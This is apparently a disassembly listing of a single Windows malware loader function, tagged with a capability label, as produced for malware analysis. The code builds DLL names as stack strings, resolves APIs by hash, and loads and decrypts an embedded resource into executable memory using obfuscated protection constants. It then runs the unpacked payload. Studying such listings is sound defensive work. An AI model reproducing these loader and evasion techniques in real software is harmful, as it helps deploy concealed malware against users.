Function at 0x10058db0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
je 0x10058dd1
jmp 0x10059232
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x1b14
mov dword [ebp - 0x5c], str.ADMINGRO
call fcn.10058d20
test eax, eax
jne 0x10058e57
mov dword [0x10093820], 0
mov dword [0x1009382c], 0
mov dword [0x10093824], 0
mov dword [0x10093828], 0
mov dword [0x100937fc], 0
mov dword [0x100937f8], 0
jmp 0x10058e80
push 1
push str.HiFI
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100542a0
push 0x10093774
call fcn.1005c129
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0x6b
mov word [ebp - 0x34], ax
mov ecx, 0x65
mov word [ebp - 0x32], cx
mov edx, 0x72
mov word [ebp - 0x30], dx
mov eax, 0x6e
mov word [ebp - 0x2e], ax
mov ecx, 0x65
mov word [ebp - 0x2c], cx
mov edx, 0x6c
mov word [ebp - 0x2a], dx
mov eax, 0x33
mov word [ebp - 0x28], ax
mov ecx, 0x32
mov word [ebp - 0x26], cx
mov edx, 0x2e
mov word [ebp - 0x24], dx
mov eax, 0x64
mov word [ebp - 0x22], ax
mov ecx, 0x6c
mov word [ebp - 0x20], cx
mov edx, 0x6c
mov word [ebp - 0x1e], dx
xor eax, eax
mov word [ebp - 0x1c], ax
mov ecx, 0x6e
mov word [ebp - 0x18], cx
mov edx, 0x74
mov word [ebp - 0x16], dx
mov eax, 0x64
mov word [ebp - 0x14], ax
mov ecx, 0x6c
mov word [ebp - 0x12], cx
mov edx, 0x6c
mov word [ebp - 0x10], dx
mov eax, 0x2e
mov word [ebp - 0xe], ax
mov ecx, 0x64
mov word [ebp - 0xc], cx
mov edx, 0x6c
mov word [ebp - 0xa], dx
mov eax, 0x6c
mov word [ebp - 8], ax
xor ecx, ecx
mov word [ebp - 6], cx
call fcn.10058d20
test eax, eax
jne 0x10058f5b
mov dword [ebp - 0x4c], 1
jmp 0x10058f62
mov dword [ebp - 0x4c], 0
cmp dword [ebp - 0x4c], 0
jne 0x10058f84
mov edx, 1
test edx, edx
je 0x10058f84
push 0
push 0
push str.dfyudshjfgshja
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x10058f68
lea eax, [ebp - 0x34]
push eax
call fcn.10055e20
add esp, 4
mov dword [ebp - 0x3c], eax
call fcn.10058d20
test eax, eax
jne 0x10058fab
lea ecx, [ebp - 0x18]
push ecx
call fcn.10055e20
add esp, 4
mov dword [ebp - 0x60], eax
call fcn.10058d20
test eax, eax
jne 0x10058fca
push 0x422b026b
mov edx, dword [ebp - 0x3c]
push edx
call fcn.100566a0
add esp, 8
mov dword [0x100b8574], eax
call fcn.10058d20
test eax, eax
jne 0x10058fe9
push 0x28da9aae
mov eax, dword [ebp - 0x3c]
push eax
call fcn.100566a0
add esp, 8
mov dword [0x100b8570], eax
call fcn.10058d20
test eax, eax
jne 0x10059008
push 0xc09d2a1
mov ecx, dword [ebp - 0x3c]
push ecx
call fcn.100566a0
add esp, 8
mov dword [0x100b8348], eax
call fcn.10058d20
test eax, eax
jne 0x10059027
push 0x43c75b92
mov edx, dword [ebp - 0x3c]
push edx
call fcn.100566a0
add esp, 8
mov dword [0x100b8560], eax
call fcn.10058d20
test eax, eax
jne 0x10059046
push 0xef63d01f
mov eax, dword [ebp - 0x3c]
push eax
call fcn.100566a0
add esp, 8
mov dword [0x100b8568], eax
mov ecx, dword [ebp - 0x5c]
push ecx
movzx edx, word [ebp - 0x54]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [0x100b8348]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x100b8560]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [0x100b8568]
mov dword [ebp - 0x38], eax
cmp dword [0x100b8570], 0
je 0x1005915d
call fcn.10058d20
test eax, eax
jne 0x1005915b
push 0
mov edx, dword [0x10093820]
imul edx, dword [0x10093824]
mov eax, 0x40
sub eax, edx
mov ecx, dword [0x10093824]
imul ecx, dword [0x100937fc]
sub eax, ecx
add eax, dword [0x1009382c]
mov edx, dword [0x1009382c]
imul edx, dword [0x10093820]
add eax, edx
sub eax, dword [0x100937fc]
mov ecx, dword [0x10093828]
imul ecx, dword [0x10093820]
imul ecx, dword [0x1009382c]
add eax, dword [0x10093820]
add ecx, eax
add ecx, dword [0x10093820]
add ecx, dword [0x100937fc]
add ecx, dword [0x10093820]
add ecx, dword [0x10093828]
add ecx, dword [0x10093820]
add ecx, dword [0x100937fc]
mov edx, dword [0x10093820]
imul edx, dword [0x1009382c]
add ecx, edx
mov eax, dword [0x10093828]
imul eax, dword [0x100937fc]
sub ecx, eax
mov edx, dword [0x10093824]
imul edx, dword [0x10093820]
add ecx, edx
push ecx
push 0x3000
mov eax, dword [ebp - 0x38]
push eax
push 0
push 0xffffffffffffffff
call dword [0x100b8570]
mov dword [ebp - 0x40], eax
jmp 0x100591c2
call fcn.10058d20
test eax, eax
jne 0x100591c2
mov ecx, dword [0x10093828]
imul ecx, dword [0x10093828]
mov edx, 0x40
sub edx, ecx
add edx, dword [0x10093824]
sub edx, dword [0x10093820]
sub edx, dword [0x1009382c]
mov eax, dword [0x1009382c]
imul eax, dword [0x10093828]
imul eax, dword [0x10093828]
sub edx, eax
sub edx, dword [0x10093828]
sub edx, dword [0x10093820]
push edx
push 0x3000
mov ecx, dword [ebp - 0x38]
push ecx
push 0
call dword [0x100b8574]
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
call fcn.100632a0
add esp, 0xc
mov edx, dword [0x100937f4]
push edx
call fcn.1005d5f6
add esp, 4
mov dword [ebp - 0x48], eax
push 0x35
push str.6a_trN_GdGr0CaWhvrfe_fpTvpgEPU_U4kNJGW_zN__BAoR8F
mov eax, dword [ebp - 0x48]
push eax
call fcn.10054680
add esp, 0xc
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x48]
push eax
call fcn.10055040
add esp, 0xc
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x40]
push edx
call fcn.10058550
add esp, 8
mov dword [0x100950a8], eax
push 0
push 1
mov eax, dword [ebp + 8]
push eax
call dword [0x100950a4]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005b585
mov esp, ebp
pop ebp
ret 0xc